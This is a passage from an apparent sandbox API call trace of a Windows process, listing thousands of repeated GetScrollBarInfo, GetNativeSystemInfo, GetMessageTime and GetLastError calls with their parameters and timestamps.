GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0056.894] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0056.894] GetMessageTime () returned 0 [0056.894] GetLastError () returned 0x578 [0056.894] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0056.894] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0056.894] GetMessageTime () returned 0 [0056.894] GetLastError () returned 0x578 [0056.894] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0056.894] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0056.894] GetMessageTime () returned 0 [0056.894] GetLastError () returned 0x578 [0056.894] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0056.894] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0056.894] GetMessageTime () returned 0 [0056.894] GetLastError () returned 0x578 [0056.894] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0056.894] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0056.895] GetMessageTime () returned 0 [0056.895] GetLastError () returned 0x578 [0056.895] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0056.895] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0056.895] GetMessageTime () returned 0 [0056.895] GetLastError () returned 0x578 [0056.895] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0056.895] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0056.895] GetMessageTime () returned 0 [0056.895] GetLastError () returned 0x578 [0056.895] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0056.895] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0056.895] GetMessageTime () returned 0 [0056.895] GetLastError () returned 0x578 [0056.895] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0056.895] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0056.895] GetMessageTime () returned 0 [0056.895] GetLastError () returned 0x578 [0056.895] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0056.895] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0056.895] GetMessageTime () returned 0 [0056.895] GetLastError () returned 0x578 [0056.895] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0056.896] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0056.896] GetMessageTime () returned 0 [0056.896] GetLastError () returned 0x578 [0056.896] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0056.896] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0056.896] GetMessageTime () returned 0 [0056.896] GetLastError () returned 0x578 [0056.896] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0056.896] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0056.896] GetMessageTime () returned 0 [0056.896] GetLastError () returned 0x578 [0056.896] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0056.896] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0056.896] GetMessageTime () returned 0 [0056.896] GetLastError () returned 0x578 [0056.896] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0056.896] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0056.896] GetMessageTime () returned 0 [0056.896] GetLastError () returned 0x578 [0056.896] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0056.896] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0056.896] GetMessageTime () returned 0 [0056.896] GetLastError () returned 0x578 [0056.897] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0056.897] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0056.897] GetMessageTime () returned 0 [0056.897] GetLastError () returned 0x578 [0056.897] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0056.897] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0056.897] GetMessageTime () returned 0 [0056.897] GetLastError () returned 0x578 [0056.897] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0056.897] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0056.897] GetMessageTime () returned 0 [0056.897] GetLastError () returned 0x578 [0056.897] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0056.897] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0056.897] GetMessageTime () returned 0 [0056.897] GetLastError () returned 0x578 [0056.897] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0056.897] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0056.897] GetMessageTime () returned 0 [0056.897] GetLastError () returned 0x578 [0056.897] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0056.919] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0056.919] GetMessageTime () returned 0 [0056.919] GetLastError () returned 0x578 [0056.919] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0056.919] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0056.919] GetMessageTime () returned 0 [0056.919] GetLastError () returned 0x578 [0056.919] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0056.919] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0056.919] GetMessageTime () returned 0 [0056.919] GetLastError () returned 0x578 [0056.919] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0056.919] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0056.919] GetMessageTime () returned 0 [0056.919] GetLastError () returned 0x578 [0056.919] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0056.919] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0056.919] GetMessageTime () returned 0 [0056.919] GetLastError () returned 0x578 [0056.919] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0056.919] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0056.920] GetMessageTime () returned 0 [0056.920] GetLastError () returned 0x578 [0056.920] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0056.920] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0056.920] GetMessageTime () returned 0 [0056.920] GetLastError () returned 0x578 [0056.920] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0056.920] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0056.920] GetMessageTime () returned 0 [0056.920] GetLastError () returned 0x578 [0056.920] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0056.920] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0056.920] GetMessageTime () returned 0 [0056.920] GetLastError () returned 0x578 [0056.920] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0056.920] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0056.920] GetMessageTime () returned 0 [0056.920] GetLastError () returned 0x578 [0056.920] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0056.920] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0056.920] GetMessageTime () returned 0 [0056.920] GetLastError () returned 0x578 [0056.920] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0056.920] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0056.921] GetMessageTime () returned 0 [0056.921] GetLastError () returned 0x578 [0056.921] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0056.921] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0056.921] GetMessageTime () returned 0 [0056.921] GetLastError () returned 0x578 [0056.921] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0056.921] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0056.921] GetMessageTime () returned 0 [0056.921] GetLastError () returned 0x578 [0056.921] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0056.921] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0056.921] GetMessageTime () returned 0 [0056.921] GetLastError () returned 0x578 [0056.921] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0056.921] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0056.921] GetMessageTime () returned 0 [0056.921] GetLastError () returned 0x578 [0056.921] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0056.921] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0056.921] GetMessageTime () returned 0 [0056.921] GetLastError () returned 0x578 [0056.921] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0056.921] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0056.922] GetMessageTime () returned 0 [0056.922] GetLastError () returned 0x578 [0056.922] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0056.922] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0056.922] GetMessageTime () returned 0 [0056.922] GetLastError () returned 0x578 [0056.922] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0056.922] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0056.922] GetMessageTime () returned 0 [0056.922] GetLastError () returned 0x578 [0056.922] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0056.922] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0056.922] GetMessageTime () returned 0 [0056.922] GetLastError () returned 0x578 [0056.922] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0056.922] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0056.922] GetMessageTime () returned 0 [0056.922] GetLastError () returned 0x578 [0056.922] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0056.922] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0056.922] GetMessageTime () returned 0 [0056.922] GetLastError () returned 0x578 [0056.922] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0056.922] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0056.923] GetMessageTime () returned 0 [0056.923] GetLastError () returned 0x578 [0056.923] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0056.923] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, 